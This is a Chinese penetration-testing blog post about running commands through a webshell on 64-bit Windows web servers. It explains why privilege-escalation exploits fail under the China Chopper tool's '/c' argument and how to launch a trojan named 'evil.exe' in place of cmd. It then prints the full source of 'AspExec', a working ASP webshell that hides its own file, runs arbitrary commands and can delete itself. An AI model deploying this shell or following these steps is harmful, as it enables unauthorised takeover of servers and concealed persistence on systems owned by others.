64位平台webshell下命令执行

CracerCracer 2015-12-20 渗透测试 913 0 4

20090516103851652首先 WScript.Shell 这个是必须有的(忽略第三方服务)。

案例剖析:

1

这是一般的情况  替换个cmd就OK  但是这里情况并不是那么简单,连whoami都不能执行

2

net user之类的就不用想了  试着给几个EXP

3

权限不够执行exp ? 但是我们替换的cmd是怎么运行的?这里显得不合理  一个想法就是直接替换cmd路径为exp试试

4

如你所见 exp是执行了  但是伴随来了新的问题  执行命令出现错误 执行什么 exp都返回他的错误提示

 究其原因 是由于菜刀设置cmd终端执行命令的时候给加了一个/c的参数,这个参数的意义是命令执行完毕立即结束cmd

在这里当然出问题,cmd.exe有/c的参数但是我们的exp没有。

这个案例实际为

D:\wwwroot\yingshiyx888\wwwroot\51x64.csv /c whoami

 

现在理解为什么出错了

 当然 在aspx大马里面 下面这样是极好的

5

但这里并不支持aspx

64位exp提权与32位提权有所区别,32位下存在虚拟终端无参数提权的exp,即使传参,也是通过以下方式执行:

c:\cmd.exe /c c:\exp.exe parms

但是x64下的几个exp则需要这样执行:

c:\exp.exe c:\recycler\evil.exe

原理懂了 着手解决 我这里给出两个方案

直接替换木马为cmd 执行参数为空或任意

请稍后的意思就是在执行木马了

6

实际执行为

 

D:\wwwroot\yingshiyx888\wwwroot\evil.exe /c fuck

就算木马没有这个参数 程序也是运行了 上线没问题

7

效仿aspx版本 自定义cmd参数 已有成品aspexec

 

<object runat=server id=shell scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<%if err then%>
<object runat=server id=shell scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<% end if %>
<%
'hidded shell
dim file_name
file_name = Server.MapPath("./") & Replace(Request.ServerVariables("Script_Name"),"/","\")
set fso = createobject("scripting.filesystemobject")
set file = fso.getfile(file_name)
file.attributes = 1+2+4
%>
<%
'exec command
Dim path,parms,method,result
path=Trim(Request("path"))
parms=Trim(Request("parms"))
method=Trim(Request("submit"))
result=""
If path="" Then path="C:\WINDOWS\system32\cmd.exe"
If parms="" Then parms="/c "
If method="wscript.shell" Then
result=shell.exec(path&" "&parms).stdout.readall
Elseif method="shell.application" Then
set newshell=createobject("shell.application")
newshell.ShellExecute path,parms,"","open",0
result="Shell.application Execute OK."
Elseif method="self.delete" Then
file.attributes = 0
fso.deletefile(file_name)
set fso = nothing
End If
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="pragma" content="no-cache">
<title>AspExec</title>
<style>
textarea{resize:none;}
table.gridtable {
font-family: verdana,arial,sans-serif;
font-size:11px;
color:#333333;
border-width: 1px;
border-color: #666666;
border-collapse: collapse;
}
table.gridtable th {
border-width: 1px;
padding: 5px 8px;
border-style: solid;
border-color: #666666;
background-color: #dedede;
}
table.gridtable td {
border-width: 1px;
padding: 5px 8px;
border-style: solid;
border-color: #666666;
background-color: #ffffff;
}
a:link{text-decoration:none; color:#111;}
a:visited {text-decoration:none; color:#111;}
a:hover {text-decoration:none; color:#111;}
a:active {text-decoration:none; color:#111;}
</style>
</head>
<body>
<br/>
<form method="post" action="<%=Request.ServerVariables("SCRIPT_NAME")%>" id="submitf">
<table class="gridtable" width="100%" style="FILTER: progid:DXImageTransform.Microsoft.Shadow(color:#f6ae56,direction:145,strength:15);">
<tr><td colspan="2" align="center"><h2><a href = "http://le4f.net/" target="_blank">AspExec</a></h2></td></tr>
<tr>
<td>
<table class="gridtable">
<%
Dim theComponent(7)
theComponent(0) = "Scripting.FileSystemObject"
theComponent(1) = "WScript.Shell"
theComponent(2) = "WScript.Shell.1"
theComponent(3) = "WScript.Network"
theComponent(4) = "WScript.Network.1"
theComponent(5) = "shell.application"
theComponent(6) = "shell.application.1"
Function IsObjInstalled(strClassString)
On Error Resume Next
IsObjInstalled = False
Err = 0
Dim xTestObj
Set xTestObj = Server.CreateObject(strClassString)
If -2147221005 <> Err Then
IsObjInstalled = True
Else
IsObjInstalled = False
End if
Set xTestObj = Nothing
Err = 0
End Function
%>
<tr><th colspan="2" align="center">Component</th></tr>
<%
Dim i
For i=0 to UBound(theComponent)-1
If IsObjInstalled(theComponent(i)) Then
Response.Write "<tr><td width='80'>" & theComponent(i) & "</td><td><font color=""green"">√</font></td></tr>" & vbCrLf
Else
Response.Write "<tr><td width='80'>" & theComponent(i) & "</td><td><font color=""red"">×</font></td></tr>" & vbCrLf
End if
Next
%>
</table>
</td>
<td width="100%">
<DIV align=center
style='
color: #990099;
background-color: #E6E6FA;
width: 100%;
height: 180px;
scrollbar-face-color: #DDA0DD;
scrollbar-shadow-color: #3D5054;
scrollbar-highlight-color: #C3D6DA;
scrollbar-3dlight-color: #3D5054;
scrollbar-darkshadow-color: #85989C;
scrollbar-track-color: #D8BFD8;
scrollbar-arrow-color: #E6E6FA;
'>
Path:<input type="text"  value=<% Response.Write path %>   name="path"  style='width:100%;'>
Parms:<textarea name="parms" style='width:100%;height:70%;'><% Response.Write parms %></textarea>
</DIV>
<input type="submit" name= "submit" value="wscript.shell">
<input type="submit" name= "submit" value="shell.application">
<input type="submit" name= "submit" value="self.delete">
<lable>Current Dir : <%response.write request.servervariables("APPL_PHYSICAL_PATH")%></lable>
</td>
</tr>
<tr><th colspan="3" align="center">Result</th></tr>
<tr><td colspan="3" align="center"><textarea name="result" style='width:100%;height:270px;'><% Response.Write result %></textarea></td></tr>
</table>
</form>

效果是这样

8

x64 下这样

9

OK 完美解决

转载请注明来自Cracer,本文标题:《64位平台webshell下命令执行》

喜欢 (4) 发布评论
发表评论


Top